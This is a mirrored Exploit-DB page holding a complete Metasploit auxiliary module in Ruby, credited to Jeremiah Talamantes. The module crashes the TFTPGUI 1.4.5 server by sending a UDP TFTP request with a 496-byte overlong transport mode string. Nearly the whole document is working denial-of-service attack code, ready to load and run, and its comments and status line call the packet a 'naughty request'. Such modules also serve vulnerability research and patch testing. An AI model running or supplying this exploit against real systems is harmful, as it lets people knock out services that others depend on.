TFTPGUI 1.4.5 – Long Transport Mode Overflow Denial of Service (Metasploit) - 体验盒子

作者： Jeremiah Talamantes

日期： 2010-05-08

类别：

dos

平台：

windows

来源：https://www.exploit-db.com/exploits/12530/

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# Title: TFTPGUI v1.4.5 Long Transport Mode Overflow

# EDB-ID: 12482

# CVE-ID: ()

# OSVDB-ID: ()

# Author: Jeremiah Talamantes

# Published: 2010-05-02

# Verified: yes

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

#

# TFTPGUI v1.4.5 Long Transport Mode Overflow

#

# Tested on: Windows XP, SP2 (EN)

#

# Date tested: 5/2/2010

#

# |~Greetz to Devin @ infointox.net~|

#

# Discovered by: Jeremiah Talamantes

# RedTeam Security

# http://www.redteamsecure.com

##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::Udp

include Msf::Auxiliary::Dos

def initialize(info = {})

super(update_info(info,

'Name' => 'TFTPGUI v1.4.5 Long Transport Mode Overflow',

'Description'=> %q{

The TFTPUtil GUI server version 1.4.5 can be

DOSed by sending a specially crafted request. Discovered by

Jeremiah Talamantes at RedTeam Security.

Greetz to Devin @ infointox.net.

},

'Author' => 'Jeremiah Talamantes (RedTeam Security)',

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 9179 $',

'References' =>

[

[ 'URL', 'http://www.redteamsecure.com/labs/post/37/redteam-discovers-0-day-in-tftpgui'],

[ 'URL', 'http://www.exploit-db.com/exploits/12482'],

[ 'URL', 'https://www.securityfocus.com/bid/39872'],

],

'DisclosureDate' => 'May 02 2010'))

register_options([Opt::RPORT(69)])

end

def run

connect_udp

print_status("Sending naughty request...")

$fn = "A"

$md = "A" * 496

$stuff = "\00\x02" + $fn + "\0" + $md + "\0"

udp_sock.put($stuff)

disconnect_udp

end